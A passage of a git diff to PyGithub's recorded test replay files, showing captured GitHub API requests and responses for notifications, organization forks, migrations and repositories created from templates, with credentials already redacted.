ithub.com/users/dailymotion/orgs","repos_url":"https://api.github.com/users/dailymotion/repos","events_url":"https://api.github.com/users/dailymotion/events{/privacy}","received_events_url":"https://api.github.com/users/dailymotion/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/dailymotion/jarvis","description":"A shared library containing Jenkins pipeline steps and utilities","fork":false,"url":"https://api.github.com/repos/dailymotion/jarvis","forks_url":"https://api.github.com/repos/dailymotion/jarvis/forks","keys_url":"https://api.github.com/repos/dailymotion/jarvis/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dailymotion/jarvis/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dailymotion/jarvis/teams","hooks_url":"https://api.github.com/repos/dailymotion/jarvis/hooks","issue_events_url":"https://api.github.com/repos/dailymotion/jarvis/issues/events{/number}","events_url":"https://api.github.com/repos/dailymotion/jarvis/events","assignees_url":"https://api.github.com/repos/dailymotion/jarvis/assignees{/user}","branches_url":"https://api.github.com/repos/dailymotion/jarvis/branches{/branch}","tags_url":"https://api.github.com/repos/dailymotion/jarvis/tags","blobs_url":"https://api.github.com/repos/dailymotion/jarvis/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dailymotion/jarvis/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dailymotion/jarvis/git/refs{/sha}","trees_url":"https://api.github.com/repos/dailymotion/jarvis/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dailymotion/jarvis/statuses/{sha}","languages_url":"https://api.github.com/repos/dailymotion/jarvis/languages","stargazers_url":"https://api.github.com/repos/dailymotion/jarvis/stargazers","contributors_url":"https://api.github.com/repos/dailymotion/jarvis/contributors","subscribers_url":"https://api.github.com/repos/dailymotion/jarvis/subscribers","subscription_url":"https://api.github.com/repos/dailymotion/jarvis/subscription","commits_url":"https://api.github.com/repos/dailymotion/jarvis/commits{/sha}","git_commits_url":"https://api.github.com/repos/dailymotion/jarvis/git/commits{/sha}","comments_url":"https://api.github.com/repos/dailymotion/jarvis/comments{/number}","issue_comment_url":"https://api.github.com/repos/dailymotion/jarvis/issues/comments{/number}","contents_url":"https://api.github.com/repos/dailymotion/jarvis/contents/{+path}","compare_url":"https://api.github.com/repos/dailymotion/jarvis/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dailymotion/jarvis/merges","archive_url":"https://api.github.com/repos/dailymotion/jarvis/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dailymotion/jarvis/downloads","issues_url":"https://api.github.com/repos/dailymotion/jarvis/issues{/number}","pulls_url":"https://api.github.com/repos/dailymotion/jarvis/pulls{/number}","milestones_url":"https://api.github.com/repos/dailymotion/jarvis/milestones{/number}","notifications_url":"https://api.github.com/repos/dailymotion/jarvis/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dailymotion/jarvis/labels{/name}","releases_url":"https://api.github.com/repos/dailymotion/jarvis/releases{/id}","deployments_url":"https://api.github.com/repos/dailymotion/jarvis/deployments"},"url":"https://api.github.com/notifications/threads/397777914","subscription_url":"https://api.github.com/notifications/threads/397777914/subscription"}] - diff --git a/tests/ReplayData/Notification.testMarkAsRead.txt b/tests/ReplayData/Notification.testMarkAsRead.txt index a243ee9cac..596c719ed3 100644 --- a/tests/ReplayData/Notification.testMarkAsRead.txt +++ b/tests/ReplayData/Notification.testMarkAsRead.txt @@ -7,5 +7,3 @@ None None 205 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:46:59 GMT'), ('Content-Type', 'text/plain;charset=utf-8'), ('Content-Length', '0'), ('Status', '205 Reset Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1539890344'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B14A:4C25:2AC483C:58CB194:5BC8D523')] - - diff --git a/tests/ReplayData/Organization.testCreateFork.txt b/tests/ReplayData/Organization.testCreateFork.txt index 22b026312a..48e401b909 100644 --- a/tests/ReplayData/Organization.testCreateFork.txt +++ b/tests/ReplayData/Organization.testCreateFork.txt @@ -24,9 +24,9 @@ https POST api.github.com None -/repos/jacquev6/PyGithub/forks?org=BeaverSoftware -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None +/repos/jacquev6/PyGithub/forks +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"organization": "BeaverSoftware"} 202 [('status', '202 Accepted'), ('x-ratelimit-remaining', '4965'), ('content-length', '3681'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e4abc3ca2f8a9ccbe868ead57057a0e8"'), ('date', 'Sun, 27 May 2012 05:23:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {"parent":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"updated_at":"2012-05-27T05:23:18Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_pages":false,"has_issues":true,"fork":false,"forks":3,"git_url":"git://github.com/jacquev6/PyGithub.git","size":348,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T20:54:13Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},"organization":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-27T05:23:18Z","source":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"updated_at":"2012-05-27T05:23:18Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_pages":false,"has_issues":true,"fork":false,"forks":3,"git_url":"git://github.com/jacquev6/PyGithub.git","size":348,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T20:54:13Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},"permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","mirror_url":null,"has_wiki":false,"has_pages":false,"has_issues":false,"fork":true,"forks":0,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","size":348,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-26T20:54:13Z","created_at":"2012-05-27T05:23:17Z","id":4460027,"html_url":"https://github.com/BeaverSoftware/PyGithub","full_name":"BeaverSoftware/PyGithub"} diff --git a/tests/ReplayData/Organization.testCreateMigration.txt b/tests/ReplayData/Organization.testCreateMigration.txt index e95fd2ea9c..755cc2b94d 100644 --- a/tests/ReplayData/Organization.testCreateMigration.txt +++ b/tests/ReplayData/Organization.testCreateMigration.txt @@ -19,4 +19,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 15:19:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '7250'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1536855475'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"81072c1f2dc51776a047a3b1816a467d"'), ('Location', 'https://api.github.com/orgs/sample-test-organisation/migrations/25312'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.174479'), ('X-GitHub-Request-Id', 'BF95:1FE1:1315A51:2750AC3:5B9A8014')] {"id":25312,"node_id":"MDk6TWlncmF0aW9uMjUzMTI=","owner":{"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","gravatar_id":"","url":"https://api.github.com/users/sample-test-organisation","html_url":"https://github.com/sample-test-organisation","followers_url":"https://api.github.com/users/sample-test-organisation/followers","following_url":"https://api.github.com/users/sample-test-organisation/following{/other_user}","gists_url":"https://api.github.com/users/sample-test-organisation/gists{/gist_id}","starred_url":"https://api.github.com/users/sample-test-organisation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sample-test-organisation/subscriptions","organizations_url":"https://api.github.com/users/sample-test-organisation/orgs","repos_url":"https://api.github.com/users/sample-test-organisation/repos","events_url":"https://api.github.com/users/sample-test-organisation/events{/privacy}","received_events_url":"https://api.github.com/users/sample-test-organisation/received_events","type":"Organization","site_admin":false},"guid":"74ac62cc-b768-11e8-8695-688280338423","state":"pending","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148654765,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2NTQ3NjU=","name":"sample-repo","full_name":"sample-test-organisation/sample-repo","owner":{"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","gravatar_id":"","url":"https://api.github.com/users/sample-test-organisation","html_url":"https://github.com/sample-test-organisation","followers_url":"https://api.github.com/users/sample-test-organisation/followers","following_url":"https://api.github.com/users/sample-test-organisation/following{/other_user}","gists_url":"https://api.github.com/users/sample-test-organisation/gists{/gist_id}","starred_url":"https://api.github.com/users/sample-test-organisation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sample-test-organisation/subscriptions","organizations_url":"https://api.github.com/users/sample-test-organisation/orgs","repos_url":"https://api.github.com/users/sample-test-organisation/repos","events_url":"https://api.github.com/users/sample-test-organisation/events{/privacy}","received_events_url":"https://api.github.com/users/sample-test-organisation/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/sample-test-organisation/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/sample-test-organisation/sample-repo","forks_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/forks","keys_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/teams","hooks_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/events","assignees_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/tags","blobs_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/languages","stargazers_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/subscription","commits_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/merges","archive_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/downloads","issues_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/deployments","created_at":"2018-09-13T14:59:58Z","updated_at":"2018-09-13T15:19:49Z","pushed_at":"2018-09-13T15:00:00Z","git_url":"git://github.com/sample-test-organisation/sample-repo.git","ssh_url":"git@github.com:sample-test-organisation/sample-repo.git","clone_url":"https://github.com/sample-test-organisation/sample-repo.git","svn_url":"https://github.com/sample-test-organisation/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/orgs/sample-test-organisation/migrations/25312","created_at":"2018-09-13T20:49:49.000+05:30","updated_at":"2018-09-13T20:49:49.000+05:30"} - diff --git a/tests/ReplayData/Organization.testCreateRepoFromTemplate.txt b/tests/ReplayData/Organization.testCreateRepoFromTemplate.txt index 95846f8a67..a1878af7ba 100644 --- a/tests/ReplayData/Organization.testCreateRepoFromTemplate.txt +++ b/tests/ReplayData/Organization.testCreateRepoFromTemplate.txt @@ -19,4 +19,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 12 Feb 2020 13:54:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '12600'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1581519266'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', '"36abdc4630fb044196d6efbfc0f644e0"'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new'), ('X-GitHub-Media-Type', 'github.baptiste-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8C3C:2BF7:ACD4:17C45:5E440393')] {"id":240025159,"node_id":"MDEwOlJlcG9zaXRvcnkyNDAwMjUxNTk=","name":"hello-world-docker-action-new","full_name":"BeaverSoftware/hello-world-docker-action-new","owner":{"login":"BeaverSoftware","id":60894054,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYwODk0MDU0","avatar_url":"https://avatars2.githubusercontent.com/u/60894054?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new","description":null,"fork":false,"url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new","forks_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/deployments","created_at":"2020-02-12T13:54:28Z","updated_at":"2020-02-12T13:54:28Z","pushed_at":"2020-02-12T13:54:29Z","git_url":"git://github.com/BeaverSoftware/hello-world-docker-action-new.git","ssh_url":"git@github.com:BeaverSoftware/hello-world-docker-action-new.git","clone_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new.git","svn_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"pull":true,"push":true,"admin":true},"is_template":false,"template_repository":{"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"pull":true,"push":false,"admin":false},"is_template":true},"organization":{"login":"BeaverSoftware","id":60894054,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYwODk0MDU0","avatar_url":"https://avatars2.githubusercontent.com/u/60894054?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"subscribers_count":0,"network_count":1} - diff --git a/tests/ReplayData/Organization.testCreateRepoFromTemplateWithAllArguments.txt b/tests/ReplayData/Organization.testCreateRepoFromTemplateWithAllArguments.txt index 210ab41645..bbdbde5589 100644 --- 